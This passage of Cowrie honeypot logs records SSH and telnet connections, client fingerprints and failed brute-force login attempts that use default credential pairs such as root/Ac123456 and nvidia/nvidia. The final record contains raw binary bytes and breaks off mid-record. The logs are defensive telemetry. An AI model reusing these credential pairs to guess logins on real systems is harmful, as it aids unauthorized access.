["3des-cbc","aes128-cbc","aes128-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 3cb24313ef7969100a7527f11b569cd4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:29:18.617184Z","src_ip":"221.163.5.228","session":"9e54ccbce315","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"25081982","message":"login attempt [root/25081982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:29:18.739476Z","src_ip":"103.149.28.157","session":"876981c76433","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"httpd","message":"login attempt [root/httpd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:29:19.455760Z","src_ip":"221.163.5.228","session":"9e54ccbce315","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:29:19.995166Z","src_ip":"103.149.28.157","session":"876981c76433","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:29:20.660580Z","src_ip":"221.163.5.228","session":"9e54ccbce315","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":44760,"dst_ip":"159.203.135.109","dst_port":22,"session":"787f779ad600","protocol":"ssh","message":"New connection: 160.187.174.22:44760 (159.203.135.109:22) [session: 787f779ad600]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:29:36.001229Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":48740,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b297ea4728d","protocol":"telnet","message":"New connection: 170.64.224.25:48740 (159.203.135.109:23) [session: 7b297ea4728d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:29:36.096447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:29:36.132042Z","src_ip":"160.187.174.22","session":"787f779ad600","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:29:36.246485Z","src_ip":"160.187.174.22","session":"787f779ad600","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"www123","message":"login attempt [www/www123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:29:37.188931Z","src_ip":"160.187.174.22","session":"787f779ad600","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:29:38.427327Z","src_ip":"160.187.174.22","session":"787f779ad600","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":55564,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca70c7d7d72c","protocol":"ssh","message":"New connection: 160.187.174.22:55564 (159.203.135.109:22) [session: ca70c7d7d72c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:30:00.397735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:30:00.408964Z","src_ip":"160.187.174.22","session":"ca70c7d7d72c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:30:00.640927Z","src_ip":"160.187.174.22","session":"ca70c7d7d72c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ac123456","message":"login attempt [root/Ac123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:30:01.356479Z","src_ip":"160.187.174.22","session":"ca70c7d7d72c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:30:02.591199Z","src_ip":"160.187.174.22","session":"ca70c7d7d72c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"128.0","message":"Connection lost after 128.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:30:04.824342Z","src_ip":"31.23.162.80","session":"fa44c812217b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.457661628723145,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:30:08.554022Z","src_ip":"170.64.224.25","session":"7b297ea4728d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":86.85705137252808,"message":"Connection lost after 86 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:30:22.402192Z","src_ip":"170.64.224.25","session":"dca2167e09c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":39164,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc38a475c380","protocol":"ssh","message":"New connection: 160.187.174.22:39164 (159.203.135.109:22) [session: fc38a475c380]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:30:25.998854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:30:26.003028Z","src_ip":"160.187.174.22","session":"fc38a475c380","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:30:26.247733Z","src_ip":"160.187.174.22","session":"fc38a475c380","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"nexus","message":"login attempt [nexus/nexus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:30:27.217372Z","src_ip":"160.187.174.22","session":"fc38a475c380","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:30:28.464436Z","src_ip":"160.187.174.22","session":"fc38a475c380","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":55644,"dst_ip":"159.203.135.109","dst_port":23,"session":"c45ae6f02da2","protocol":"telnet","message":"New connection: 170.64.224.25:55644 (159.203.135.109:23) [session: c45ae6f02da2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:30:31.110762Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":54988,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e14c2b77f6a","protocol":"ssh","message":"New connection: 160.187.174.22:54988 (159.203.135.109:22) [session: 9e14c2b77f6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:30:50.907094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:30:50.913180Z","src_ip":"160.187.174.22","session":"9e14c2b77f6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:30:51.178915Z","src_ip":"160.187.174.22","session":"9e14c2b77f6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app","message":"login attempt [app/app] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:30:51.904952Z","src_ip":"160.187.174.22","session":"9e14c2b77f6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:30:53.161922Z","src_ip":"160.187.174.22","session":"9e14c2b77f6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":60790,"dst_ip":"159.203.135.109","dst_port":23,"session":"369a97892add","protocol":"telnet","message":"New connection: 170.64.224.25:60790 (159.203.135.109:23) [session: 369a97892add]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:30:56.658776Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":49888,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f902bc0f4ee","protocol":"telnet","message":"New connection: 170.64.224.25:49888 (159.203.135.109:23) [session: 8f902bc0f4ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:31:00.143568Z"}
{"eventid":"cowrie.session.closed","duration":31.60866069793701,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:31:02.719272Z","src_ip":"170.64.224.25","session":"c45ae6f02da2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.00110387802124,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:31:08.144533Z","src_ip":"170.64.224.25","session":"8f902bc0f4ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.231.89.147","src_port":59473,"dst_ip":"10.17.0.5","dst_port":22,"session":"dbf06ea91e57","protocol":"ssh","message":"New connection: 91.231.89.147:59473 (10.17.0.5:22) [session: dbf06ea91e57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:31:11.160913Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:31:11.220432Z","src_ip":"91.231.89.147","session":"dbf06ea91e57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.231.89.151","src_port":58571,"dst_ip":"10.17.0.5","dst_port":22,"session":"535d6eaae177","protocol":"ssh","message":"New connection: 91.231.89.151:58571 (10.17.0.5:22) [session: 535d6eaae177]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:31:11.294829Z"}
{"eventid":"cowrie.session.connect","src_ip":"221.163.5.228","src_port":55846,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6928a11ab92","protocol":"ssh","message":"New connection: 221.163.5.228:55846 (159.203.135.109:22) [session: a6928a11ab92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:31:13.709872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:31:13.714009Z","src_ip":"221.163.5.228","session":"a6928a11ab92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"3cb24313ef7969100a7527f11b569cd4","hasshAlgorithms":"diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,ext-info-c;3des-cbc,aes128-cbc,aes128-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 3cb24313ef7969100a7527f11b569cd4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:31:13.915718Z","src_ip":"221.163.5.228","session":"a6928a11ab92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root@654321","message":"login attempt [root/Root@654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:31:14.752848Z","src_ip":"221.163.5.228","session":"a6928a11ab92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:31:15.958668Z","src_ip":"221.163.5.228","session":"a6928a11ab92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":32992,"dst_ip":"159.203.135.109","dst_port":22,"session":"3bb36c30d6dd","protocol":"ssh","message":"New connection: 160.187.174.22:32992 (159.203.135.109:22) [session: 3bb36c30d6dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:31:16.656794Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:31:16.661045Z","src_ip":"160.187.174.22","session":"3bb36c30d6dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:31:16.903538Z","src_ip":"160.187.174.22","session":"3bb36c30d6dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nvidia","password":"nvidia","message":"login attempt [nvidia/nvidia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:31:17.634324Z","src_ip":"160.187.174.22","session":"3bb36c30d6dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:31:18.878592Z","src_ip":"160.187.174.22","session":"3bb36c30d6dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.1","message":"Connection lost after 10.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:31:21.420542Z","src_ip":"91.231.89.151","session":"535d6eaae177","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.340007543563843,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:31:27.998657Z","src_ip":"170.64.224.25","session":"369a97892add","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":54974,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac1131d04a0a","protocol":"telnet","message":"New connection: 170.64.224.25:54974 (159.203.135.109:23) [session: ac1131d04a0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:31:31.120794Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.231.89.148","src_port":57295,"dst_ip":"10.17.0.5","dst_port":22,"session":"406f486d614d","protocol":"ssh","message":"New connection: 91.231.89.148:57295 (10.17.0.5:22) [session: 406f486d614d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:31:32.845573Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0003\u0002d\u0001\u0000\u0002`\u0003\u0003:R\u0016\\xb2\\x83\u0003\u001d\u000b\u0000\u0012/\\x81\\xae\\xdd\\xd3\u0003\\xa5C\u0006\\xbe1=\u0011c\\xf0?\u0012h,\\xdf\\xd0\\xf3 \\x9f\\xa7\r4\f\u000eb\\xc09!|~\\x8d\\xe0\u0003\r\\xaa\\xdak\u001f\\xfa\\xcc\u001d\\x8e\\xbfs\u001d\\xaf~\\xddL\\xcd\u0000\\x8a\u0000\u0016\u00003\u0000g\\xc0\\x9e\\xc0\\xa2\u0000\\x9e\u00009\u0000k\\xc0\\x9f\\xc0\\xa3\u0000\\x9f\u0000E\u0000\\xbe\u0000\\x88\u0000\\xc4\u0000\\x9a\\xc0\b\\xc0\t\\xc0#\\xc0\\xac\\xc0\\xae\\xc0+\\xc0","message":"Remote SSH version: \u0016\u0003\u0003\u0002d\u0001\u0000\u0002`\u0003\u0003:R\u0016\\xb2\\x83\u0003\u001d\u000b\u0000\u0012/\\x81\\xae\\xdd\\xd3\u0003\\xa5C\u0006\\xbe1=\u0011c\\xf0?\u0012h,\\xdf\\xd0\\xf3 